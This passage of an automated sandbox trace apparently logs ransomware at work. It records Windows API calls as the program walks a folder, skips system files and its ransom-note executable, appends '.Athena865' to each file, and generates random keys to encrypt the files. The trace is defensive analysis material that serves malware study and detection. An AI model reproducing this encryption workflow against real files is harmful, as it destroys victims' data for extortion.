RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.779] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.779] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.780] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.780] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.780] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x94d0, lpName=0x0) returned 0x154 [0116.781] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x94d0) returned 0x100000 [0116.785] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.785] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.785] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.785] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.786] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0116.786] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.786] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.786] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2=".") returned 1 [0116.786] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="..") returned 1 [0116.786] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="windows") returned -1 [0116.786] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="bootmgr") returned 1 [0116.786] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="temp") returned -1 [0116.786] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="pagefile.sys") returned 1 [0116.787] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="boot") returned 1 [0116.787] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="ids.txt") returned 1 [0116.787] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="ntuser.dat") returned 1 [0116.787] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="perflogs") returned 1 [0116.787] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="MSBuild") returned 1 [0116.787] lstrlenW (lpString="Shades of Blue.htm") returned 18 [0116.787] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Shades of Blue.htm" | out: lpString1="Shades of Blue.htm") returned="Shades of Blue.htm" [0116.787] lstrlenW (lpString="Shades of Blue.htm") returned 18 [0116.787] lstrlenW (lpString="Athena865") returned 9 [0116.787] lstrcmpiW (lpString1=" Blue.htm", lpString2="Athena865") returned -1 [0116.787] lstrlenW (lpString=".dll") returned 4 [0116.787] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2=".dll") returned 1 [0116.787] lstrlenW (lpString=".lnk") returned 4 [0116.787] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2=".lnk") returned 1 [0116.787] lstrlenW (lpString=".ini") returned 4 [0116.787] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2=".ini") returned 1 [0116.787] lstrlenW (lpString=".sys") returned 4 [0116.787] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2=".sys") returned 1 [0116.787] lstrlenW (lpString="Shades of Blue.htm") returned 18 [0116.787] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm.Athena865") returned 86 [0116.787] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm.athena865"), dwFlags=0x1) returned 1 [0116.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.788] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=237) returned 1 [0116.788] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.788] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.789] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.789] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.789] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.790] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f0, lpName=0x0) returned 0x154 [0116.792] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f0) returned 0x100000 [0116.792] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.793] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.793] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.793] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.794] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0116.794] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.794] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.794] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2=".") returned 1 [0116.794] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="..") returned 1 [0116.794] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="windows") returned -1 [0116.794] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="bootmgr") returned 1 [0116.794] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="temp") returned -1 [0116.794] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="pagefile.sys") returned 1 [0116.794] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="boot") returned 1 [0116.794] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="ids.txt") returned 1 [0116.794] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="ntuser.dat") returned 1 [0116.794] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="perflogs") returned 1 [0116.794] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="MSBuild") returned 1 [0116.794] lstrlenW (lpString="ShadesOfBlue.jpg") returned 16 [0116.794] lstrcpyW (in: lpString1=0x241e8bc, lpString2="ShadesOfBlue.jpg" | out: lpString1="ShadesOfBlue.jpg") returned="ShadesOfBlue.jpg" [0116.794] lstrlenW (lpString="ShadesOfBlue.jpg") returned 16 [0116.794] lstrlenW (lpString="Athena865") returned 9 [0116.794] lstrcmpiW (lpString1="fBlue.jpg", lpString2="Athena865") returned 1 [0116.794] lstrlenW (lpString=".dll") returned 4 [0116.794] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2=".dll") returned 1 [0116.795] lstrlenW (lpString=".lnk") returned 4 [0116.795] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2=".lnk") returned 1 [0116.795] lstrlenW (lpString=".ini") returned 4 [0116.795] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2=".ini") returned 1 [0116.795] lstrlenW (lpString=".sys") returned 4 [0116.795] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2=".sys") returned 1 [0116.795] lstrlenW (lpString="ShadesOfBlue.jpg") returned 16 [0116.795] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg.Athena865") returned 84 [0116.795] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg.athena865"), dwFlags=0x1) returned 1 [0116.796] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.796] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4734) returned 1 [0116.796] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.796] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.796] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.796] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.797] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.797] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.797] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1580, lpName=0x0) returned 0x154 [0116.798] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1580) returned 0x100000 [0116.799] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.800] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.800] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.800] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.800] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc530f8da, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc530f8da, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45194f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13d8c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Shorthand.emf", cAlternateFileName="")) returned 1 [0116.800] lstrcmpiW (lpString1="Shorthand.emf", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.800] lstrcmpiW (lpString1="Shorthand.emf", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.800] lstrcmpiW (lpString1="Shorthand.emf", lpString2=".") returned 1 [0116.800] lstrcmpiW (lpString1="Shorthand.emf", lpString2="..") returned 1 [0116.801] lstrcmpiW (lpString1="Shorthand.emf", lpString2="windows") returned -1 [0116.801] lstrcmpiW (lpString1="Shorthand.emf", lpString2="bootmgr") returned 1 [0116.801] lstrcmpiW (lpString1="Shorthand.emf", lpString2="temp") returned -1 [0116.801] lstrcmpiW (lpString1="Shorthand.emf", lpString2="pagefile.sys") returned 1 [0116.801] lstrcmpiW (lpString1="Shorthand.emf", lpString2="boot") returned 1 [0116.801] lstrcmpiW (lpString1="Shorthand.emf", lpString2="ids.txt") returned 1 [0116.801] lstrcmpiW (lpString1="Shorthand.emf", lpString2="ntuser.dat") returned 1 [0116.801] lstrcmpiW (lpString1="Shorthand.emf", lpString2="perflogs") returned 1 [0116.801] lstrcmpiW (lpString1="Shorthand.emf", lpString2="MSBuild") returned 1 [0116.801] lstrlenW (lpString="Shorthand.emf") returned 13 [0116.801] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Shorthand.emf" | out: lpString1="Shorthand.emf") returned="Shorthand.emf" [0116.801] lstrlenW (lpString="Shorthand.emf") returned 13 [0116.801] lstrlenW (lpString="Athena865") returned 9 [0116.801] lstrcmpiW (lpString1="thand.emf", lpString2="Athena865") returned 1 [0116.801] lstrlenW (lpString=".dll") returned 4 [0116.801] lstrcmpiW (lpString1="Shorthand.emf", lpString2=".dll") returned 1 [0116.801] lstrlenW (lpString=".lnk") returned 4 [0116.801] lstrcmpiW (lpString1="Shorthand.emf", lpString2=".lnk") returned 1 [0116.801] lstrlenW (lpString=".ini") returned 4 [0116.801] lstrcmpiW (lpString1="Shorthand.emf", lpString2=".ini") returned 1 [0116.801] lstrlenW (lpString=".sys") returned 4 [0116.801] lstrcmpiW (lpString1="Shorthand.emf", lpString2=".sys") returned 1 [0116.801] lstrlenW (lpString="Shorthand.emf") returned 13 [0116.801] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf.Athena865") returned 81 [0116.801] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf.athena865"), dwFlags=0x1) returned 1 [0116.802] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.802] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=81292) returned 1 [0116.802] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.803] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.803] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.803] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.803] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.803] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.804] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14090, lpName=0x0) returned 0x154 [0116.805] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14090) returned 0x100000 [0116.809] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.810] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.810] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.812] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc541a265, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc541a265, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x451bb0f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Small_News.jpg", cAlternateFileName="")) returned 1 [0116.812] lstrcmpiW (lpString1="Small_News.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.812] lstrcmpiW (lpString1="Small_News.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.812] lstrcmpiW (lpString1="Small_News.jpg", lpString2=".") returned 1 [0116.812] lstrcmpiW (lpString1="Small_News.jpg", lpString2="..") returned 1 [0116.812] lstrcmpiW (lpString1="Small_News.jpg", lpString2="windows") returned -1 [0116.812] lstrcmpiW (lpString1="Small_News.jpg", lpString2="bootmgr") returned 1 [0116.812] lstrcmpiW (lpString1="Small_News.jpg", lpString2="temp") returned -1 [0116.812] lstrcmpiW (lpString1="Small_News.jpg", lpString2="pagefile.sys") returned 1 [0116.812] lstrcmpiW (lpString1="Small_News.jpg", lpString2="boot") returned 1 [0116.812] lstrcmpiW (lpString1="Small_News.jpg", lpString2="ids.txt") returned 1 [0116.812] lstrcmpiW (lpString1="Small_News.jpg", lpString2="ntuser.dat") returned 1 [0116.812] lstrcmpiW (lpString1="Small_News.jpg", lpString2="perflogs") returned 1 [0116.812] lstrcmpiW (lpString1="Small_News.jpg", lpString2="MSBuild") returned 1 [0116.812] lstrlenW (lpString="Small_News.jpg") returned 14 [0116.812] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Small_News.jpg" | out: lpString1="Small_News.jpg") returned="Small_News.jpg" [0116.812] lstrlenW (lpString="Small_News.jpg") returned 14 [0116.812] lstrlenW (lpString="Athena865") returned 9 [0116.812] lstrcmpiW (lpString1="_News.jpg", lpString2="Athena865") returned -1 [0116.812] lstrlenW (lpString=".dll") returned 4 [0116.812] lstrcmpiW (lpString1="Small_News.jpg", lpString2=".dll") returned 1 [0116.812] lstrlenW (lpString=".lnk") returned 4 [0116.812] lstrcmpiW (lpString1="Small_News.jpg", lpString2=".lnk") returned 1 [0116.812] lstrlenW (lpString=".ini") returned 4 [0116.812] lstrcmpiW (lpString1="Small_News.jpg", lpString2=".ini") returned 1 [0116.812] lstrlenW (lpString=".sys") returned 4 [0116.812] lstrcmpiW (lpString1="Small_News.jpg", lpString2=".sys") returned 1 [0116.812] lstrlenW (lpString="Small_News.jpg") returned 14 [0116.813] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg.Athena865") returned 82 [0116.813] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg.athena865"), dwFlags=0x1) returned 1 [0116.813] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.814] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1990) returned 1 [0116.814] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.814] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.814] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.814] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.815] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.815] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.815] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xad0, lpName=0x0) returned 0x154 [0116.816] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xad0) returned 0x100000 [0116.817] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.818] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.818] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.818] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.818] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0116.818] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.818] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.818] lstrcmpiW (lpString1="Soft Blue.htm", lpString2=".") returned 1 [0116.818] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="..") returned 1 [0116.818] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="windows") returned -1 [0116.818] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="bootmgr") returned 1 [0116.819] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="temp") returned -1 [0116.819] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="pagefile.sys") returned 1 [0116.819] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="boot") returned 1 [0116.819] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="ids.txt") returned 1 [0116.819] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="ntuser.dat") returned 1 [0116.819] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="perflogs") returned 1 [0116.819] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="MSBuild") returned 1 [0116.819] lstrlenW (lpString="Soft Blue.htm") returned 13 [0116.819] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Soft Blue.htm" | out: lpString1="Soft Blue.htm") returned="Soft Blue.htm" [0116.819] lstrlenW (lpString="Soft Blue.htm") returned 13 [0116.819] lstrlenW (lpString="Athena865") returned 9 [0116.819] lstrcmpiW (lpString1=" Blue.htm", lpString2="Athena865") returned -1 [0116.819] lstrlenW (lpString=".dll") returned 4 [0116.819] lstrcmpiW (lpString1="Soft Blue.htm", lpString2=".dll") returned 1 [0116.819] lstrlenW (lpString=".lnk") returned 4 [0116.819] lstrcmpiW (lpString1="Soft Blue.htm", lpString2=".lnk") returned 1 [0116.819] lstrlenW (lpString=".ini") returned 4 [0116.819] lstrcmpiW (lpString1="Soft Blue.htm", lpString2=".ini") returned 1 [0116.819] lstrlenW (lpString=".sys") returned 4 [0116.819] lstrcmpiW (lpString1="Soft Blue.htm", lpString2=".sys") returned 1 [0116.819] lstrlenW (lpString="Soft Blue.htm") returned 13 [0116.819] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm.Athena865") returned 81 [0116.819] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm.athena865"), dwFlags=0x1) returned 1 [0116.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.820] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=232) returned 1 [0116.820] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.821] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.821] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.821] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.822] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.823] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.824] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f0, lpName=0x0) returned 0x154 [0116.826] MapViewOfFile (hFileMappingObject=0x154, 